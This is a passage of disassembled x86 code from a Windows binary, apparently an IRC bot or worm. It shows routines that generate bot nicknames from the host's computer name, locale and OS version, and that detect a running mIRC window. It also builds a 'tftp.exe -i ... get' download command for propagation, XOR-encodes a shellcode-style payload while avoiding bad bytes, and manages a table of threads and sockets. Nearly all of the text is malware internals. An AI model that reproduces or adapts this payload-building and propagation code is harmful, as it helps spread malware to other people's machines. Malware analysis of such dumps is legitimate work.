arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ecx]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ecx
		call	dword ptr [eax+44h]
		pop	ebp
		retn	20h
sub_408F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F61	proc near		; CODE XREF: .data:00408A97p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_10]
		mov	eax, [ecx]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ecx
		call	dword ptr [eax+54h]
		pop	ebp
		retn	14h
sub_408F61	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F7D	proc near		; CODE XREF: sub_409361+4Ap
					; DATA XREF: .data:off_43B190o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4E036C	; GetTickCount
		push	eax
		call	sub_417DB0
		call	sub_417DC0
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_43DC28[edx*4]
		push	offset dword_43EE64
		push	1Ch
		push	edi
		call	sub_417E80
		xor	esi, esi
		add	esp, 14h
		cmp	dword_43709C, esi
		jle	short loc_408FE4


loc_408FBE:				; CODE XREF: sub_408F7D+65j
		call	sub_417DC0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43EE68
		push	1Ch
		push	edi
		call	sub_417E80
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43709C
		jl	short loc_408FBE


loc_408FE4:				; CODE XREF: sub_408F7D+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_408F7D	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4E036C	; GetTickCount
		push	eax
		call	sub_417DB0
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	aJav0_0	; "[Jav0]"
		push	offset dword_43EE70
		push	1Ch
		push	edi
		call	sub_417E80
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43709C, esi
		jle	short loc_409042


loc_40901C:				; CODE XREF: .data:00409040j
		call	sub_417DC0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43EE74
		push	1Ch
		push	edi
		call	sub_417E80
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43709C
		jl	short loc_40901C


loc_409042:				; CODE XREF: .data:0040901Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409047	proc near		; CODE XREF: sub_401C87+5237p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4E036C	; GetTickCount
		push	eax
		call	sub_417DB0
		pop	ecx
		call	sub_417DC0
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_43709C
		test	esi, esi
		jle	short loc_40908A


loc_409074:				; CODE XREF: sub_409047+41j
		call	sub_417DC0
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_409074


loc_40908A:				; CODE XREF: sub_409047+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_409047	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, offset dword_43EE7C
		mov	dword ptr [ebp-4], 100h
		xor	edi, edi
		call	dword_4E036C	; GetTickCount
		push	eax
		call	sub_417DB0
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	esi
		call	dword_4E0394	; GetComputerNameA
		test	eax, eax
		jnz	short loc_4090C9
		mov	esi, offset dword_43EE80


loc_4090C9:				; CODE XREF: .data:004090C2j
		movsx	eax, byte ptr [esi]
		push	41h
		pop	ecx


loc_4090CF:				; CODE XREF: .data:004090DAj
		cmp	eax, ecx
		jnz	short loc_4090D6
		xor	edi, edi
		inc	edi


loc_4090D6:				; CODE XREF: .data:004090D1j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_4090CF
		push	61h
		pop	ecx


loc_4090DF:				; CODE XREF: .data:004090EAj
		cmp	eax, ecx
		jnz	short loc_4090E6
		xor	edi, edi
		inc	edi


loc_4090E6:				; CODE XREF: .data:004090E1j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_4090DF
		test	edi, edi
		jnz	short loc_4090F5
		mov	esi, offset dword_43EE84


loc_4090F5:				; CODE XREF: .data:004090EEj
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_417E80
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_43709C, esi
		jle	short loc_409134


loc_40910E:				; CODE XREF: .data:00409132j
		call	sub_417DC0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43EE88
		push	1Ch
		push	edi
		call	sub_417E80
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43709C
		jl	short loc_40910E


loc_409134:				; CODE XREF: .data:0040910Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4E036C	; GetTickCount
		push	eax
		call	sub_417DB0
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4E0398	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43EE90
		push	1Ch
		push	edi
		call	sub_417E80
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43709C, esi
		jle	short loc_4091A9


loc_409183:				; CODE XREF: .data:004091A7j
		call	sub_417DC0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43EE94
		push	1Ch
		push	edi
		call	sub_417E80
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43709C
		jl	short loc_409183


loc_4091A9:				; CODE XREF: .data:00409181j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_4D67B0
		mov	dword ptr [ebp-94h], 94h
		call	dword_4E039C	; GetVersionExA
		call	dword_4E036C	; GetTickCount
		push	eax
		call	sub_417DB0
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_409233
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_409213
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_409203
		mov	esi, offset dword_43EE9C


loc_409203:				; CODE XREF: .data:004091FCj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40926F
		mov	esi, offset dword_43EEA0
		jmp	short loc_40926F
; ---------------------------------------------------------------------------


loc_409213:				; CODE XREF: .data:004091F3j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_409223
		mov	esi, offset dword_43EEA4
		jmp	short loc_40926F
; ---------------------------------------------------------------------------


loc_409223:				; CODE XREF: .data:0040921Aj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40926A
		mov	esi, offset dword_43EEA8
		jmp	short loc_40926F
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: .data:004091EAj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40926A
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40924C
		mov	esi, offset dword_43EEAC
		jmp	short loc_40926F
; ---------------------------------------------------------------------------


loc_40924C:				; CODE XREF: .data:00409243j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40925C
		mov	esi, offset dword_43EEB0
		jmp	short loc_40926F
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: .data:00409253j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43EEB4
		jz	short loc_40926F


loc_40926A:				; CODE XREF: .data:0040922Aj
					; .data:0040923Aj
		mov	esi, offset dword_43EEB8


loc_40926F:				; CODE XREF: .data:0040920Aj
					; .data:00409211j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_43EEBC
		push	1Ch
		push	edi
		call	sub_417E80
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43709C, esi
		jle	short loc_4092B3


loc_40928D:				; CODE XREF: .data:004092B1j
		call	sub_417DC0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43EEC4
		push	1Ch
		push	edi
		call	sub_417E80
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43709C
		jl	short loc_40928D


loc_4092B3:				; CODE XREF: .data:0040928Bj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092B9	proc near		; CODE XREF: sub_409361+5Dp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4E036C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_409308
		push	offset aMirc_0	; "mIRC"
		call	dword_4D6674	; FindWindowA
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_4092F1
		mov	eax, offset byte_4D67B1


loc_4092F1:				; CODE XREF: sub_4092B9+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_417E80
		add	esp, 14h
		jmp	short loc_40932D
; ---------------------------------------------------------------------------


loc_409308:				; CODE XREF: sub_4092B9+1Dj
		push	offset aMirc_1	; "mIRC"
		call	dword_4D6674	; FindWindowA
		test	eax, eax
		mov	eax, offset aM_1 ; "[M]"
		jnz	short loc_409321
		mov	eax, offset word_4D67B2


loc_409321:				; CODE XREF: sub_4092B9+61j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_40932D:				; CODE XREF: sub_4092B9+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_414EC0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40935C
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_419200
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_417760
		add	esp, 18h


loc_40935C:				; CODE XREF: sub_4092B9+82j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4092B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409361	proc near		; CODE XREF: sub_4019A5+7Fp
					; sub_401B0B+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_40936A:				; CODE XREF: sub_409361+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_409388
		lea	eax, dword_43B180[esi]
		push	eax
		push	[ebp+arg_C]
		call	sub_418A30
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_409396
; ---------------------------------------------------------------------------


loc_409388:				; CODE XREF: sub_409361+Dj
		mov	ecx, dword_43B18C[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_409396:				; CODE XREF: sub_409361+25j
		test	eax, eax
		jnz	short loc_4093A5
		add	esi, 14h
		inc	edi
		cmp	esi, 78h
		jb	short loc_40936A
		jmp	short loc_4093B3
; ---------------------------------------------------------------------------


loc_4093A5:				; CODE XREF: sub_409361+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_43B190[eax*4]
		pop	ecx


loc_4093B3:				; CODE XREF: sub_409361+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_4093C6
		push	[ebp+arg_0]
		call	sub_4092B9
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4093C6:				; CODE XREF: sub_409361+58j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_409361	endp


; =============== S U B	R O U T	I N E =======================================



sub_4093CB	proc near		; CODE XREF: sub_4093EB+Ap
					; sub_4094C3+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_414EC0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_414EC0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_4093CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093EB	proc near		; CODE XREF: sub_4094DA+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4093CB
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_409408
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_409408:				; CODE XREF: sub_4093EB+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_414EC0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_414EC0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43EF84, eax
		lea	eax, [edi+1]
		mov	dword_43EFA5, eax
		lea	eax, [edi+17h]
		mov	dword_43EF9D, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_43EF20
		push	ebx
		mov	dword_43EFB3, eax
		call	sub_419330
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_419330
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_419330
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_419330
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_419330
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_419330
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_43EFA9
		push	esi
		call	sub_419330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4093EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4094C3	proc near		; CODE XREF: sub_4094DA+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4093CB
		push	eax
		call	sub_409547
		add	esp, 0Ch
		retn
sub_4094C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094DA	proc near		; CODE XREF: sub_40C16C+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_4094C3
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_4094FA
		cmp	eax, 0FFFFh
		jbe	short loc_4094FE


loc_4094FA:				; CODE XREF: sub_4094DA+17j
		xor	eax, eax
		jmp	short loc_409543
; ---------------------------------------------------------------------------


loc_4094FE:				; CODE XREF: sub_4094DA+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_4093CB
		add	eax, 101h
		push	eax
		call	sub_415090
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4093CB
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_4093EB
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409562
		push	esi
		mov	edi, eax
		call	sub_415C20
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_409543:				; CODE XREF: sub_4094DA+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_4094DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_409547	proc near		; CODE XREF: sub_4094C3+Ep
					; sub_409562+47p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_409550
		inc	ecx


loc_409550:				; CODE XREF: sub_409547+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_409547	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409562	proc near		; CODE XREF: sub_4094DA+56p
					; sub_40C16C+B9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_C]
		cmp	dl, 0Ah
		jz	short loc_40957C
		cmp	dl, 0Dh
		jz	short loc_40957C
		cmp	dl, 5Ch
		jz	short loc_40957C
		test	dl, dl
		jnz	short loc_409580


loc_40957C:				; CODE XREF: sub_409562+Aj
					; sub_409562+Fj ...
		inc	edx
		mov	[ebp+arg_C], edx


loc_409580:				; CODE XREF: sub_409562+18j
		push	esi
		mov	esi, 0FFh
		cmp	edx, esi
		jbe	short loc_4095A8
		mov	eax, edx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40959F
		cmp	al, 0Dh
		jz	short loc_40959F
		cmp	al, 5Ch
		jz	short loc_40959F
		test	al, al
		jnz	short loc_4095A8


loc_40959F:				; CODE XREF: sub_409562+2Fj
					; sub_409562+33j ...
		add	edx, 100h
		mov	[ebp+arg_C], edx


loc_4095A8:				; CODE XREF: sub_409562+26j
					; sub_409562+3Bj
		push	edx
		call	sub_409547
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_4095BE
		cmp	eax, 0FFFFh
		jbe	short loc_4095C5


loc_4095BE:				; CODE XREF: sub_409562+53j
		xor	eax, eax
		jmp	loc_409660
; ---------------------------------------------------------------------------


loc_4095C5:				; CODE XREF: sub_409562+5Aj
		push	ebx
		mov	bl, byte_4D67B4
		xor	ecx, ecx
		push	edi
		mov	edi, [ebp+arg_8]
		test	edx, edx
		jbe	short loc_4095F2


loc_4095D6:				; CODE XREF: sub_409562+8Ej
		mov	al, [ecx+edi]
		xor	al, bl
		jz	short loc_4095E9
		cmp	al, 0Ah
		jz	short loc_4095E9
		cmp	al, 0Dh
		jz	short loc_4095E9
		cmp	al, 5Ch
		jnz	short loc_4095ED


loc_4095E9:				; CODE XREF: sub_409562+79j
					; sub_409562+7Dj ...
		inc	bl
		xor	ecx, ecx


loc_4095ED:				; CODE XREF: sub_409562+85j
		inc	ecx
		cmp	ecx, edx
		jb	short loc_4095D6


loc_4095F2:				; CODE XREF: sub_409562+72j
		cmp	edx, esi
		mov	byte_4D67B4, bl
		ja	short loc_40961E
		push	15h
		push	offset loc_43EF08
		push	[ebp+arg_0]
		mov	byte_43EF15, dl
		mov	byte_43EF19, bl
		call	sub_419330
		add	esp, 0Ch
		push	15h
		jmp	short loc_40963F
; ---------------------------------------------------------------------------


loc_40961E:				; CODE XREF: sub_409562+98j
		push	17h
		push	offset loc_43EEF0
		push	[ebp+arg_0]
		mov	word_43EEFE, dx
		mov	byte_43EF03, bl
		call	sub_419330
		add	esp, 0Ch
		push	17h


loc_40963F:				; CODE XREF: sub_409562+BAj
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40965B
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40964D:				; CODE XREF: sub_409562+F7j
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40964D


loc_40965B:				; CODE XREF: sub_409562+E3j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_409660:				; CODE XREF: sub_409562+5Ej
		pop	esi
		leave
		retn
sub_409562	endp


; =============== S U B	R O U T	I N E =======================================



sub_409663	proc near		; CODE XREF: sub_401404+366p
					; sub_401404+3A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4493A0


loc_40966B:				; CODE XREF: sub_409663+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40967F
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D63A0
		jl	short loc_40966B
		jmp	short loc_4096CA
; ---------------------------------------------------------------------------


loc_40967F:				; CODE XREF: sub_409663+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4493A0[esi]
		push	eax
		call	sub_417760
		mov	eax, [esp+14h+arg_4]
		and	dword_4495A4[esi], 0
		and	dword_4495A8[esi], 0
		mov	dword_4495A0[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_4495B8[esi], 0
		mov	dword_4495AC[esi], eax
		pop	esi


loc_4096CA:				; CODE XREF: sub_409663+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_409663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096CE	proc near		; DATA XREF: sub_401C87+2452o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_409720
		push	[ebp+var_14]
		call	sub_409979
		add	esp, 14h
		push	0
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
sub_4096CE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409720	proc near		; CODE XREF: sub_4096CE+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_43EFE4
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4493A0


loc_40974A:				; CODE XREF: sub_409720+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40978B
		cmp	[ebp+arg_C], 0
		jnz	short loc_40975E
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40978B


loc_40975E:				; CODE XREF: sub_409720+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset dword_43EFF8
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 24h


loc_40978B:				; CODE XREF: sub_409720+2Dj
					; sub_409720+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4D63A0
		jl	short loc_40974A
		pop	edi
		pop	esi
		leave
		retn
sub_409720	endp


; =============== S U B	R O U T	I N E =======================================



sub_40979E	proc near		; CODE XREF: sub_401C87+3A86p
					; sub_409826+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_409820
		cmp	esi, 400h
		jge	short loc_409820
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_4495B4[esi]
		push	dword ptr [edi]
		call	dword_4E0378	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_4097D0
		inc	ebp


loc_4097D0:				; CODE XREF: sub_40979E+2Fj
		mov	[edi], ebx
		lea	edi, dword_4495A8[esi]
		mov	dword_4495A0[esi], ebx
		mov	dword_4495A4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4097F1
		push	eax
		call	sub_413B11
		pop	ecx


loc_4097F1:				; CODE XREF: sub_40979E+4Aj
		mov	[edi], ebx
		lea	edi, dword_4495AC[esi]
		mov	byte ptr dword_4493A0[esi], bl
		mov	byte_4495B8[esi], bl
		push	dword ptr [edi]
		call	dword_4D6700	; closesocket
		lea	esi, dword_4495B0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4D6700	; closesocket
		mov	[esi], ebx
		pop	edi


loc_409820:				; CODE XREF: sub_40979E+Dj
					; sub_40979E+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40979E	endp


; =============== S U B	R O U T	I N E =======================================



sub_409826	proc near		; CODE XREF: sub_401300+18p
					; sub_401404:loc_401991p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4493A0


loc_409832:				; CODE XREF: sub_409826+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_409843
		push	edi
		call	sub_40979E
		test	eax, eax
		pop	ecx
		jz	short loc_409843
		inc	ebx


loc_409843:				; CODE XREF: sub_409826+Fj
					; sub_409826+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4D63A0
		jl	short loc_409832
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_409826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409858	proc near		; CODE XREF: sub_401C87+2D9Cp
					; sub_4098EB+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4495A4


loc_40986C:				; CODE XREF: sub_409858+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40988E
		test	edi, edi
		jle	short loc_409880
		cmp	[esi], edi
		jz	short loc_409880
		cmp	ebx, edi
		jnz	short loc_40988E


loc_409880:				; CODE XREF: sub_409858+1Ej
					; sub_409858+22j
		push	ebx
		call	sub_40979E
		test	eax, eax
		pop	ecx
		jz	short loc_40988E
		inc	[ebp+var_4]


loc_40988E:				; CODE XREF: sub_409858+1Aj
					; sub_409858+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4D65A4
		jl	short loc_40986C
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409858	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098A5	proc near		; CODE XREF: sub_401404+3FAp
					; sub_401C87+949p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4495A0


loc_4098AC:				; CODE XREF: sub_4098A5+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4098B5
		inc	eax


loc_4098B5:				; CODE XREF: sub_4098A5+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4D65A0
		jl	short loc_4098AC
		retn
sub_4098A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098C4	proc near		; CODE XREF: sub_401C87+1EEAp

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_4495A0
		push	esi


loc_4098CE:				; CODE XREF: sub_4098C4+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_4098E7
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4D65A0
		jl	short loc_4098CE
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4098E7:				; CODE XREF: sub_4098C4+10j
		mov	eax, edx
		pop	esi
		retn
sub_4098C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098EB	proc near		; CODE XREF: sub_401C87+FE6p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
